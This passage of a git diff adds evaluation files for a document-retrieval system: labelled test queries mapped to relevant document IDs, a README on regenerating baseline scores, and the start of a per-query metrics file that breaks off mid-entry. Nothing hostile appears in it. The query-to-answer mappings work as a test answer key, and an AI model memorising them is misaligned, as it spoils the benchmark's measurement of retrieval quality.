"definitional" + }, + { + "query": "what is a refresh token rotation strategy", + "relevant": [ + "auth-oauth2" + ], + "category": "definitional" + }, + { + "query": "what is BGP route hijacking", + "relevant": [ + "bgp-routing" + ], + "category": "definitional" + }, + { + "query": "what is MergeTree in ClickHouse", + "relevant": [ + "clickhouse-mergetree" + ], + "category": "definitional" + }, + { + "query": "what is a single-table design in DynamoDB", + "relevant": [ + "dynamodb-keys" + ], + "category": "definitional" + }, + { + "query": "what is WAL mode in SQLite", + "relevant": [ + "sqlite-wal" + ], + "category": "definitional" + }, + { + "query": "what is an SBOM in security", + "relevant": [ + "supply-chain" + ], + "category": "definitional" + }, + { + "query": "what is mTLS in zero trust meshes", + "relevant": [ + "mtls" + ], + "category": "definitional" + }, + { + "query": "what does pg_stat_statements track", + "relevant": [ + "pg-extensions" + ], + "category": "definitional" + }, + { + "query": "what does a fanout exchange do in RabbitMQ", + "relevant": [ + "rabbitmq-exchanges" + ], + "category": "definitional" + }, + { + "query": "what is the difference between a CTE and a subquery", + "relevant": [ + "code-sql-cte" + ], + "category": "definitional" + }, + { + "query": "what is a GIN index", + "relevant": [ + "pg-indexes" + ], + "category": "definitional" + }, + { + "query": "how do I configure ConfigMap-driven config in K8s", + "relevant": [ + "k8s-configmap" + ], + "category": "procedural" + }, + { + "query": "how do I rotate Kubernetes secrets quarterly", + "relevant": [ + "k8s-secrets", + "secret-rotation" + ], + "category": "procedural" + }, + { + "query": "how do I run a StatefulSet with persistent volumes", + "relevant": [ + "k8s-statefulsets" + ], + "category": "procedural" + }, + { + "query": "how do I set up an HPA with custom metrics", + "relevant": [ + "k8s-hpa" + ], + "category": "procedural" + }, + { + "query": "how do I use Tokio select to multiplex futures", + "relevant": [ + "rust-async" + ], + "category": "procedural" + }, + { + "query": "how do I propagate context cancellation in Go", + "relevant": [ + "go-context" + ], + "category": "procedural" + }, + { + "query": "how do I lazy load i18n bundles per locale", + "relevant": [ + "frontend-i18n" + ], + "category": "procedural" + }, + { + "query": "how do I focus trap a modal for accessibility", + "relevant": [ + "a11y-aria" + ], + "category": "procedural" + }, + { + "query": "how do I migrate from Webpack to Vite", + "relevant": [ + "vite-bundling" + ], + "category": "procedural" + }, + { + "query": "how do I configure pip with uv for fast installs", + "relevant": [ + "python-virtualenv", + "python-packaging" + ], + "category": "procedural" + }, + { + "query": "how do I tune autovacuum on a partitioned table", + "relevant": [ + "pg-vacuum", + "pg-partitioning" + ], + "category": "procedural" + }, + { + "query": "how do I write a Lua script for atomic Redis ops", + "relevant": [ + "redis-lua" + ], + "category": "procedural" + }, + { + "query": "how do I set up Sentinel for HA Redis", + "relevant": [ + "redis-sentinel" + ], + "category": "procedural" + }, + { + "query": "go.mod replace directive", + "relevant": [ + "go-modules" + ], + "category": "code" + }, + { + "query": "context.Background context.TODO", + "relevant": [ + "go-context" + ], + "category": "code" + }, + { + "query": "tokio::task::spawn_blocking", + "relevant": [ + "rust-async" + ], + "category": "code" + }, + { + "query": "anyhow::Error thiserror::Error", + "relevant": [ + "rust-error-handling" + ], + "category": "code" + }, + { + "query": "mypy pyright type checking", + "relevant": [ + "python-typing" + ], + "category": "code" + }, + { + "query": "df.groupby().agg()", + "relevant": [ + "python-pandas" + ], + "category": "code" + }, + { + "query": "asyncio.run main", + "relevant": [ + "python-asyncio", + "code-python-asyncio" + ], + "category": "code" + }, + { + "query": "stream.pipeline node:stream/promises", + "relevant": [ + "node-streams" + ], + "category": "code" + }, + { + "query": "import.meta.glob Vite", + "relevant": [ + "vite-bundling" + ], + "category": "code" + }, + { + "query": "infer R conditional types", + "relevant": [ + "ts-generics" + ], + "category": "code" + }, + { + "query": "fastify.register fastify-plugin", + "relevant": [ + "fastify-plugins" + ], + "category": "code" + }, + { + "query": "django prefetch_related", + "relevant": [ + "django-orm" + ], + "category": "code" + }, + { + "query": "ActiveRecord includes eager load", + "relevant": [ + "rails-active-record" + ], + "category": "code" + }, + { + "query": "@Bean @Configuration Spring", + "relevant": [ + "spring-boot" + ], + "category": "code" + }, + { + "query": "@actuator/health endpoint", + "relevant": [ + "spring-boot" + ], + "category": "code" + }, + { + "query": "RFC 7515 JWS", + "relevant": [ + "rfc-7519-jwt" + ], + "category": "error_code" + }, + { + "query": "RFC 9000 QUIC", + "relevant": [ + "quic-http3" + ], + "category": "error_code" + }, + { + "query": "exit code 137 OOMKilled", + "relevant": [ + "err-oom" + ], + "category": "error_code" + }, + { + "query": "exit code 139 segfault", + "relevant": [ + "err-segfault" + ], + "category": "error_code" + }, + { + "query": "errno 98 EADDRINUSE", + "relevant": [ + "err-eaddrinuse" + ], + "category": "error_code" + }, + { + "query": "ssl: SSL_ERROR_SYSCALL", + "relevant": [ + "x509-verify" + ], + "category": "error_code" + }, + { + "query": "ENOTFOUND DNS lookup failed", + "relevant": [ + "dns-records" + ], + "category": "error_code" + }, + { + "query": "504 Gateway Timeout upstream", + "relevant": [ + "rfc-9110" + ], + "category": "error_code" + }, + { + "query": "\"hot partition\"", + "relevant": [ + "dynamodb-keys", + "kafka-partitions" + ], + "category": "quoted" + }, + { + "query": "\"kernel cgroup\"", + "relevant": [ + "k8s-resources", + "err-oom" + ], + "category": "quoted" + }, + { + "query": "\"prepared statements\"", + "relevant": [ + "pg-pooling" + ], + "category": "quoted" + }, + { + "query": "\"side effect\"", + "relevant": [ + "react-effects" + ], + "category": "quoted" + }, + { + "query": "\"feature flag\"", + "relevant": [ + "runbook-payment-outage" + ], + "category": "quoted" + }, + { + "query": "\"least privilege\"", + "relevant": [ + "aws-iam" + ], + "category": "quoted" + }, + { + "query": "\"break-glass\"", + "relevant": [ + "access-review" + ], + "category": "quoted" + }, + { + "query": "\"gradient checkpointing\"", + "relevant": [ + "ml-fsdp" + ], + "category": "quoted" + }, + { + "query": "\"head-based sampling\"", + "relevant": [ + "otel-traces" + ], + "category": "quoted" + }, + { + "query": "react", + "relevant": [ + "code-snippet", + "react-effects", + "react-server-components", + "korean-react" + ], + "category": "short_kw" + }, + { + "query": "rust", + "relevant": [ + "rust-ownership", + "rust-async", + "rust-traits", + "rust-error-handling", + "italian-rust" + ], + "category": "short_kw" + }, + { + "query": "python", + "relevant": [ + "python-gil", + "python-asyncio", + "python-typing", + "python-pandas", + "hindi-python" + ], + "category": "short_kw" + }, + { + "query": "go", + "relevant": [ + "go-goroutines", + "go-context", + "go-modules", + "go-error-handling", + "vietnamese-go" + ], + "category": "short_kw" + }, + { + "query": "vault", + "relevant": [ + "secrets-management" + ], + "category": "short_kw" + }, + { + "query": "patroni", + "relevant": [ + "runbook-database-failover" + ], + "category": "short_kw" + }, + { + "query": "tailscale", + "relevant": [ + "vpn-access" + ], + "category": "short_kw" + }, + { + "query": "pagerduty", + "relevant": [ + "on-call-escalation" + ], + "category": "short_kw" + }, + { + "query": "okta", + "relevant": [ + "new-hire-onboarding" + ], + "category": "short_kw" + }, + { + "query": "expensify", + "relevant": [ + "expense-report" + ], + "category": "short_kw" + }, + { + "query": "bamboohr", + "relevant": [ + "vacation-policy" + ], + "category": "short_kw" + }, + { + "query": "docker", + "relevant": [ + "docker-multistage", + "code-dockerfile" + ], + "category": "short_kw" + }, + { + "query": "argo", + "relevant": [ + "gitops-argocd" + ], + "category": "short_kw" + }, + { + "query": "diff between PoW and PoS without energy concerns", + "relevant": [ + "blockchain-consensus" + ], + "category": "negation" + }, + { + "query": "scaling without losing ordering", + "relevant": [ + "kafka-partitions" + ], + "category": "negation" + }, + { + "query": "rotate secrets without downtime", + "relevant": [ + "secret-rotation", + "secrets-management" + ], + "category": "negation" + }, + { + "query": "deploy without breaking active sessions", + "relevant": [ + "k8s-deployments" + ], + "category": "negation" + }, + { + "query": "Postgres pooling without dropping prepared statements", + "relevant": [ + "pg-pooling" + ], + "category": "negation" + }, + { + "query": "tracing without head sampling", + "relevant": [ + "otel-traces" + ], + "category": "negation" + }, + { + "query": "no global mutable state", + "relevant": [ + "python-virtualenv", + "rust-ownership" + ], + "category": "negation" + }, + { + "query": "Helm Recreate vs RollingUpdate", + "relevant": [ + "k8s-deployments" + ], + "category": "negation" + }, + { + "query": "Docker scratch vs distroless", + "relevant": [ + "docker-multistage" + ], + "category": "negation" + }, + { + "query": "Postgres GIN vs GiST for full text", + "relevant": [ + "pg-indexes" + ], + "category": "negation" + }, + { + "query": "PostgreSQL Verbindungspool konfigurieren", + "relevant": [ + "pg-pooling" + ], + "category": "non_english" + }, + { + "query": "ストリーム削除 Kafka", + "relevant": [ + "kafka-partitions" + ], + "category": "non_english" + }, + { + "query": "Kubernetes RBAC 권한 ClusterRole", + "relevant": [ + "k8s-rbac" + ], + "category": "non_english" + }, + { + "query": "Rust 所有权 借用检查器", + "relevant": [ + "rust-ownership" + ], + "category": "non_english" + }, + { + "query": "MongoDB агрегация pipeline", + "relevant": [ + "mongodb-aggregation" + ], + "category": "non_english" + }, + { + "query": "AWS S3 lifecycle политика", + "relevant": [ + "aws-s3" + ], + "category": "non_english" + }, + { + "query": "TLS 1.3 הצפנה", + "relevant": [ + "tls-handshake" + ], + "category": "non_english" + }, + { + "query": "Postgres VACUUM बड़ी टेबल", + "relevant": [ + "pg-vacuum" + ], + "category": "non_english" + }, + { + "query": "Goroutine kênh chọn", + "relevant": [ + "go-goroutines", + "vietnamese-go" + ], + "category": "non_english" + }, + { + "query": "índices em PostgreSQL B-tree GIN", + "relevant": [ + "pg-indexes" + ], + "category": "non_english" + }, + { + "query": "what does my service mesh need to support", + "relevant": [ + "mtls" + ], + "category": "ambiguous" + }, + { + "query": "designing a feature flag system", + "relevant": [ + "runbook-payment-outage" + ], + "category": "ambiguous" + }, + { + "query": "high availability strategy", + "relevant": [ + "redis-sentinel", + "aws-rds", + "k8s-statefulsets" + ], + "category": "ambiguous" + }, + { + "query": "modeling a write-once read-many table", + "relevant": [ + "clickhouse-mergetree", + "sqlite-wal" + ], + "category": "ambiguous" + }, + { + "query": "cost-aware compute scaling", + "relevant": [ + "k8s-hpa", + "aws-lambda" + ], + "category": "ambiguous" + }, + { + "query": "documenting decisions for the team", + "relevant": [ + "adr-template", + "design-doc-template" + ], + "category": "ambiguous" + }, + { + "query": "handling spike traffic gracefully", + "relevant": [ + "k8s-hpa", + "redis-cache" + ], + "category": "ambiguous" + }, + { + "query": "platform engineering golden paths", + "relevant": [ + "k8s-helm", + "gitops-argocd" + ], + "category": "ambiguous" + }, + { + "query": "Acme on-call shadow week 1", + "relevant": [ + "new-hire-onboarding" + ], + "category": "internal" + }, + { + "query": "Acme nit policy in code review", + "relevant": [ + "code-review-guidelines" + ], + "category": "internal" + }, + { + "query": "Acme expense per diem rates", + "relevant": [ + "expense-report" + ], + "category": "internal" + }, + { + "query": "Acme Sev0 manager escalation", + "relevant": [ + "on-call-escalation" + ], + "category": "internal" + }, + { + "query": "Acme PII encryption requirements", + "relevant": [ + "compliance-pii" + ], + "category": "internal" + }, + { + "query": "Acme audit log retention 7 years", + "relevant": [ + "compliance-pii" + ], + "category": "internal" + }, + { + "query": "Acme channel auto-archive 30 days", + "relevant": [ + "slack-channels" + ], + "category": "internal" + }, + { + "query": "Acme ApplicationSet rollout", + "relevant": [ + "gitops-argocd" + ], + "category": "internal" + }, + { + "query": "Acme Sigstore cosign artifacts", + "relevant": [ + "supply-chain" + ], + "category": "internal" + }, + { + "query": "Acme dashboards LCP CLS INP", + "relevant": [ + "web-perf-cwv" + ], + "category": "internal" + }, + { + "query": "Acme runbook payments dashboard URL", + "relevant": [ + "runbook-payment-outage" + ], + "category": "internal" + }, + { + "query": "Acme database failover patroni", + "relevant": [ + "runbook-database-failover" + ], + "category": "internal" + }, + { + "query": "Acme Slack incident channel pattern", + "relevant": [ + "slack-channels", + "security-incident-response" + ], + "category": "internal" + }, + { + "query": "Acme migration compatibility forward fix", + "relevant": [ + "runbook-deploy-rollback" + ], + "category": "internal" + }, + { + "query": "Acme buddy program engineering", + "relevant": [ + "new-hire-onboarding" + ], + "category": "internal" + }, + { + "query": "PostgreSQL 中文 索引 维护", + "relevant": [ + "pg-indexes", + "chinese-mongodb" + ], + "category": "non_english" + }, + { + "query": "RFC 9114 HTTP/3", + "relevant": [ + "quic-http3" + ], + "category": "error_code" + }, + { + "query": "RFC 5246 TLS 1.2 deprecated", + "relevant": [ + "tls-handshake" + ], + "category": "error_code" + }, + { + "query": "\"data plane\"", + "relevant": [ + "mtls", + "k8s-services" + ], + "category": "quoted" + }, + { + "query": "\"control plane\"", + "relevant": [ + "k8s-rbac", + "gitops-argocd" + ], + "category": "quoted" + }, + { + "query": "vector index without exact match", + "relevant": [ + "pg-pgvector" + ], + "category": "negation" + }, + { + "query": "auth without long-lived keys", + "relevant": [ + "aws-iam", + "gcp-iam", + "auth-oauth2" + ], + "category": "negation" + }, + { + "query": "deploy without manual intervention", + "relevant": [ + "gitops-argocd" + ], + "category": "negation" + }, + { + "query": "Acme PageDuty Sev1 vs Sev0", + "relevant": [ + "on-call-escalation" + ], + "category": "internal" + }, + { + "query": "Acme MFA hardware key requirement", + "relevant": [ + "vpn-access" + ], + "category": "internal" + }, + { + "query": "Acme reviewer 1 business day SLA", + "relevant": [ + "code-review-guidelines" + ], + "category": "internal" + }, + { + "query": "Acme deploy soak time 2 hours", + "relevant": [ + "production-deploy-checklist" + ], + "category": "internal" + }, + { + "query": "Acme rotating signing keys", + "relevant": [ + "secret-rotation" + ], + "category": "internal" + } +] \ No newline at end of file diff --git a/evaluations/results/README.md b/evaluations/results/README.md new file mode 100644 index 0000000..a615cfd --- /dev/null +++ b/evaluations/results/README.md @@ -0,0 +1,39 @@ +# Cached eval results + +Canonical metric snapshots regenerated from the bundled 504-query eval. +Use these as the diff target when measuring whether a change improves +or regresses retrieval quality: + +```bash +# Diff your local run against the default-config baseline +pnpm eval -- --compare evaluations/results/baseline-default.json + +# Diff against the best-known config (Local + LocalReranker + MetadataChunker + BM25-stem) +pnpm eval -- --embedder local --reranker local --metadata-chunker --bm25-stem \ + --compare evaluations/results/baseline-best.json +``` + +## Files + +| File | Config | NDCG@10 | +| ------------------------- | --------------------------------------------------------------------- | ------: | +| `baseline-default.json` | `HashEmbedder` + `SentenceChunker` + `HeuristicReranker` | 0.786 | +| `baseline-best.json` | `LocalEmbedder` + `LocalReranker` + `MetadataChunker` + stemmed BM25 | 0.910 | + +## Refreshing + +The results drift only when you change either: +- The corpus (`evaluations/corpus.json`) +- The queries (`evaluations/queries.json`) +- The retrieval pipeline (router signals, scoring functions, embedder defaults) + +When that happens, regenerate: + +```bash +pnpm eval -- --save evaluations/results/baseline-default.json +pnpm eval -- --embedder local --reranker local --metadata-chunker --bm25-stem \ + --save evaluations/results/baseline-best.json +``` + +Commit the updated JSON in the same PR that changed the underlying +behavior. Reviewers can then see the full delta from one CI artifact. diff --git a/evaluations/results/baseline-best.json b/evaluations/results/baseline-best.json new file mode 100644 index 0000000..d173ce7 --- /dev/null +++ b/evaluations/results/baseline-best.json @@ -0,0 +1,5654 @@ +{ + "corpus": 182, + "queries": 504, + "aggregate": { + "ndcg10": 0.9106161696537612, + "mrr": 0.9082695578231293, + "recall10": 0.955026455026455 + }, + "byCategory": { + "factoid": { + "n": 40, + "ndcg10": 0.9734705406745725, + "mrr": 0.96875, + "recall10": 1 + }, + "procedural": { + "n": 73, + "ndcg10": 0.9452260890941453, + "mrr": 0.952054794520548, + "recall10": 0.9863013698630136 + }, + "definitional": { + "n": 46, + "ndcg10": 0.9755916372899576, + "mrr": 0.9710144927536232, + "recall10": 1 + }, + "code": { + "n": 60, + "ndcg10": 0.9918024178151584, + "mrr": 0.9916666666666667, + "recall10": 1 + }, + "error_code": { + "n": 30, + "ndcg10": 0.7928526173809582, + "mrr": 0.7666666666666667, + "recall10": 0.8666666666666667 + }, + "quoted": { + "n": 31, + "ndcg10": 0.8343416912880086, + "mrr": 0.8548387096774194, + "recall10": 0.8870967741935484 + }, + "short_kw": { + "n": 45, + "ndcg10": 0.9227002521507296, + "mrr": 0.9333333333333333, + "recall10": 0.9518518518518517 + }, + "named_entity": { + "n": 33, + "ndcg10": 0.988816053138529, + "mrr": 0.9848484848484849, + "recall10": 1 + }, + "negation": { + "n": 33, + "ndcg10": 0.8004997480021616, + "mrr": 0.7828282828282828, + "recall10": 0.8636363636363636 + }, + "non_english": { + "n": 26, + "ndcg10": 0.7969470651922846, + "mrr": 0.7394688644688643, + "recall10": 0.9807692307692307 + }, + "ambiguous": { + "n": 32, + "ndcg10": 0.6757352889989212, + "mrr": 0.7044270833333334, + "recall10": 0.78125 + }, + "internal": { + "n": 55, + "ndcg10": 0.9829382965753609, + "mrr": 0.9772727272727273, + "recall10": 1 + } + }, + "byStrategy": { + "keyword": { + "n": 274, + "ndcg10": 0.9250305552252958, + "mrr": 0.9231143552311435, + "recall10": 0.9628953771289539 + }, + "hybrid": { + "n": 135, + "ndcg10": 0.8734388210880472, + "mrr": 0.8731481481481481, + "recall10": 0.9222222222222222 + }, + "vector": { + "n": 95, + "ndcg10": 0.9218730160723986, + "mrr": 0.9153634085213032, + "recall10": 0.9789473684210527 + } + }, + "strategyCounts": { + "vector": 95, + "keyword": 274, + "hybrid": 135, + "rerank": 0 + }, + "perQuery": [ + { + "query": "who created PgBouncer?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 0.43067655807339306, + "mrr": 0.25, + "recall10": 1, + "topDocId": "pg-roles", + "totalRelevant": 1 + }, + { + "query": "when was TLS 1.3 standardized?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "tls-handshake", + "totalRelevant": 1 + }, + { + "query": "where does Redis store data on disk?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 0.8772153153380493, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-cache", + "totalRelevant": 2 + }, + { + "query": "which kubernetes object handles RBAC permissions?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-rbac", + "totalRelevant": 1 + }, + { + "query": "what version of Python introduced no-GIL?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-gil", + "totalRelevant": 1 + }, + { + "query": "who maintains Apache Kafka?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "kafka-partitions", + "totalRelevant": 1 + }, + { + "query": "when was RFC 9110 published?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-9110", + "totalRelevant": 1 + }, + { + "query": "where does the OOM killer log events?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 1 + }, + { + "query": "which cipher curves does Bitcoin use?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "crypto-ec", + "totalRelevant": 1 + }, + { + "query": "what year did Log4Shell hit?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cve-log4shell", + "totalRelevant": 1 + }, + { + "query": "who manages cloud Pub/Sub on Google Cloud?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gcp-pubsub", + "totalRelevant": 1 + }, + { + "query": "when do TOTP codes rotate?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mfa-totp", + "totalRelevant": 1 + }, + { + "query": "where does Acme keep on-call handoff notes?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "on-call-handoff", + "totalRelevant": 1 + }, + { + "query": "which command rolls back a Kubernetes Deployment?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "what is the default Helm release strategy?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-helm", + "totalRelevant": 1 + }, + { + "query": "who runs Acme's quarterly access review?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "access-review", + "totalRelevant": 1 + }, + { + "query": "when does Acme's vacation policy require advance notice?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "vacation-policy", + "totalRelevant": 1 + }, + { + "query": "where does Acme store SBOMs?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "supply-chain", + "totalRelevant": 1 + }, + { + "query": "which AWS service provides versioned object storage?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-s3", + "totalRelevant": 1 + }, + { + "query": "what algorithm does Dijkstra solve?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "algo-dijkstra", + "totalRelevant": 1 + }, + { + "query": "who designed the Transformer architecture?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "ml-transformer", + "totalRelevant": 1 + }, + { + "query": "when does Acme rotate production credentials?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "secret-rotation", + "totalRelevant": 1 + }, + { + "query": "where does ArgoCD pull manifests from?", + "category": "factoid", + "strategy": "keyword", + "reranked": false, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "gitops-argocd", + "totalRelevant": 1 + }, + { + "query": "which exchange type fans out messages in RabbitMQ?", + "category": "factoid", + "strategy": "hybrid", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rabbitmq-exchanges", + "totalRelevant": 1 + }, + { + "query": "what hash function does Bitcoin's curve use?", + "category": "factoid", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "crypto-merkle", + "totalRelevant": 1 + }, + { + "query": "how do I configure connection pooling for many short-lived clients?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-pooling", + "totalRelevant": 1 + }, + { + "query": "why does my pod keep getting restarted by kubernetes?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6309297535714575, + "mrr": 0.5, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 1 + }, + { + "query": "how do I fix vacuum bloat on a large table without locking writes?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 1 + }, + { + "query": "how do I set up logical replication between two postgres databases?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-replication", + "totalRelevant": 1 + }, + { + "query": "why does the OOM killer terminate my container?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "err-oom", + "totalRelevant": 2 + }, + { + "query": "how do I roll back a kubernetes deployment safely?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 2 + }, + { + "query": "how should I migrate from useEffect to React Server Components?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "react-server-components", + "totalRelevant": 2 + }, + { + "query": "why is my postgres query using a sequential scan instead of an index?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-explain", + "totalRelevant": 2 + }, + { + "query": "how do I implement zero-downtime deployments with rolling updates?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.8772153153380493, + "mrr": 1, + "recall10": 1, + "topDocId": "k8s-deployments", + "totalRelevant": 2 + }, + { + "query": "why is my fetch request being blocked by CORS?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "cors-policy", + "totalRelevant": 1 + }, + { + "query": "how do I handle errors in Rust without panicking?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rust-error-handling", + "totalRelevant": 1 + }, + { + "query": "how do I run async code concurrently in Python?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "python-asyncio", + "totalRelevant": 1 + }, + { + "query": "why does my goroutine leak?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.6934264036172708, + "mrr": 0.5, + "recall10": 1, + "topDocId": "code-go-goroutine", + "totalRelevant": 2 + }, + { + "query": "how should I structure a Terraform module for multiple environments?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "terraform-modules", + "totalRelevant": 2 + }, + { + "query": "how do I configure GitHub Actions to cache npm dependencies?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "github-actions", + "totalRelevant": 1 + }, + { + "query": "why is my Lambda function taking forever to cold start?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "aws-lambda", + "totalRelevant": 1 + }, + { + "query": "how do I prevent N+1 queries in Django?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "django-orm", + "totalRelevant": 1 + }, + { + "query": "how should I respond to a security incident at Acme?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "security-incident-response", + "totalRelevant": 1 + }, + { + "query": "why does my JWT token verification keep failing?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "rfc-7519-jwt", + "totalRelevant": 2 + }, + { + "query": "how do I design a pagination strategy for large datasets?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.38685280723454163, + "mrr": 0.5, + "recall10": 0.5, + "topDocId": "clickhouse-mergetree", + "totalRelevant": 2 + }, + { + "query": "how do I set up mTLS between two services?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "mtls", + "totalRelevant": 1 + }, + { + "query": "why do my Promise.all calls fail unexpectedly?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "promise-pitfalls", + "totalRelevant": 1 + }, + { + "query": "how do I implement an atomic counter in Redis?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "redis-lua", + "totalRelevant": 1 + }, + { + "query": "why is my Kafka consumer falling behind on a single partition?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "kafka-partitions", + "totalRelevant": 1 + }, + { + "query": "how do I set up automatic failover for Postgres?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.8772153153380493, + "mrr": 1, + "recall10": 1, + "topDocId": "runbook-database-failover", + "totalRelevant": 2 + }, + { + "query": "how do I follow the Acme deploy checklist before merging to main?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.7903864795495061, + "mrr": 1, + "recall10": 1, + "topDocId": "production-deploy-checklist", + "totalRelevant": 2 + }, + { + "query": "how do I onboard as a new engineer at Acme?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "new-hire-onboarding", + "totalRelevant": 1 + }, + { + "query": "why is my Elasticsearch query returning no results despite matching data?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "elasticsearch-mappings", + "totalRelevant": 1 + }, + { + "query": "how do I tune Postgres for a write-heavy workload?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 0.8385465274895063, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-vacuum", + "totalRelevant": 3 + }, + { + "query": "how do I implement a blameless postmortem at Acme?", + "category": "procedural", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "incident-postmortem-template", + "totalRelevant": 1 + }, + { + "query": "what is logical replication in postgres", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 1, + "mrr": 1, + "recall10": 1, + "topDocId": "pg-replication", + "totalRelevant": 1 + }, + { + "query": "what is the rust borrow checker exactly", + "category": "definitional", + "strategy": "vector", + "reranked": true, + "ndcg10": 